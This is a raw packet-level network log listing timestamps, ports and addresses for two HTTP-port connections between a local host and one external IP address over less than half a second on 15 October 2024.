Oct 15, 2024 19:22:38.559350014 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.560071945 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.560112953 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.560125113 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.560153961 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.560198069 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.560204983 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.560236931 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.560271025 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.560305119 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.560326099 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.560349941 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.560688019 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.563258886 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.563291073 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.563323021 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.563357115 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.563420057 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.563453913 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.563538074 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.563556910 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.563600063 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.563608885 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.563641071 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.563690901 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.571260929 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.571294069 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.571326017 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.571353912 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.571388960 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.610621929 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.610673904 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.610704899 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.610723019 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.611689091 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.611717939 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.611752033 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.611996889 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.612046957 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.612056017 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.615556955 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.615597010 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.615660906 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.615662098 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.615705967 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.615750074 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.615818977 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.615873098 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.615889072 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.615931988 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.615977049 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.616111994 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.647887945 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.647944927 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.647979975 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.647981882 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.648015976 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.648024082 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.648051023 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.648186922 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.648216963 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.648269892 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.648303032 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.648315907 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.648335934 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.648446083 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.649975061 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.650027037 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.650058985 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.650078058 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.653932095 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.653981924 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.653983116 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.654012918 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.654064894 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.654079914 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.654114008 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.654149055 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.654161930 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.676177979 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676233053 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676234961 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.676265955 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676317930 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.676497936 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676531076 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676563978 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676575899 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.676597118 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676646948 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.676647902 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676681042 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676712990 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676744938 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676780939 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676781893 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.676809072 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.676815987 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.676899910 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.677169085 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.677201033 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.677234888 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.677248001 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.677593946 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.677625895 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.677649021 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.677659035 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.677695036 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.677709103 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.677727938 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.677759886 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.677776098 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.678060055 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.678111076 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.678113937 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.678145885 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.678231001 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.679465055 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.679517031 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.679522038 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.679548979 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.679580927 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.679589987 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.679614067 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.679658890 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.679666042 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.679698944 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.679732084 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.679817915 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.680290937 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.680324078 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.680341959 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.680372953 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.680421114 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.688828945 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.688858986 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.688891888 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.688925028 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.688958883 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.688991070 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.723500967 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.723555088 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.723591089 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.723611116 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.727432966 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.727487087 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.727488995 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.727519989 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.727569103 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.733170033 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.733202934 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.733256102 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.733257055 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.733305931 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.733340025 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.733356953 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.733372927 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.733407974 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.733428001 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.733441114 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.733557940 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.766412020 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.766448021 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.766530037 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.766557932 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.766590118 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.766623974 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.766681910 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.766815901 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.766915083 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.766943932 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.767000914 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.768006086 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.768059969 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.768093109 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.768110037 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.773365021 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.773418903 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.773451090 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.773473978 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.773530006 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.773564100 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.773582935 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.773613930 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.773647070 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.773663998 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.773679972 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.773809910 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.793761015 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.793791056 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.793842077 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.793874025 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.793900013 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.793922901 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.793924093 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.793956995 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.793989897 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.794050932 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.794053078 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.794107914 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.794142008 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.794157028 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.794223070 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.794224977 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.794256926 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.794290066 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.794323921 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.794351101 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.794368982 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.794373035 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.795000076 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795051098 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.795069933 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795099974 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795131922 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795145988 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.795305967 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795341015 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795424938 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795456886 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795480013 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.795506954 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.795507908 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795541048 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795574903 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795589924 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.795623064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795655966 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795689106 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795710087 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.795720100 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795737028 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.795784950 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795847893 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795881033 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795914888 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.795969963 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.796377897 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.796413898 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.796447992 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.796462059 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.796479940 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.796535015 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.805751085 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.805802107 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.805809975 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.805846930 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.805879116 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.805921078 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.840539932 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.840641975 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.840677023 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.840694904 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.844249964 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.844284058 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.844302893 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.844316006 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.844362020 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.851821899 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.851893902 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.851969957 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.851991892 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.852041960 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.852075100 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.852102041 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.852104902 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.852125883 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.852138042 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.852171898 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.852188110 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.852204084 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.852255106 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.882658958 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.882694960 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.882745981 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.882777929 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.882811069 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.882834911 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.882842064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.882890940 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.884303093 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.884356022 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.884388924 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.884471893 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.884475946 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.884505987 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.884552956 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.892221928 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.892255068 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.892291069 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.892340899 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.892342091 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.892374039 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.892406940 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.892441988 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.892446995 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.892478943 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.892482996 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.892518044 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.892545938 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.892550945 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.892787933 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.911237001 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911292076 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911339998 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911374092 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911454916 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911504984 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911513090 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.911514044 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.911536932 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911581993 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.911587000 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911596060 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.911616087 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911650896 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911700010 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911721945 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.911732912 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911767006 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911801100 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911825895 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.911834955 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911844969 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.911864996 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.911931992 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.911974907 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912003994 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912035942 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912067890 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912101030 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:38.912122011 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:38.912137985 CEST	80	49807	87.120.127.223	192.168.2.5
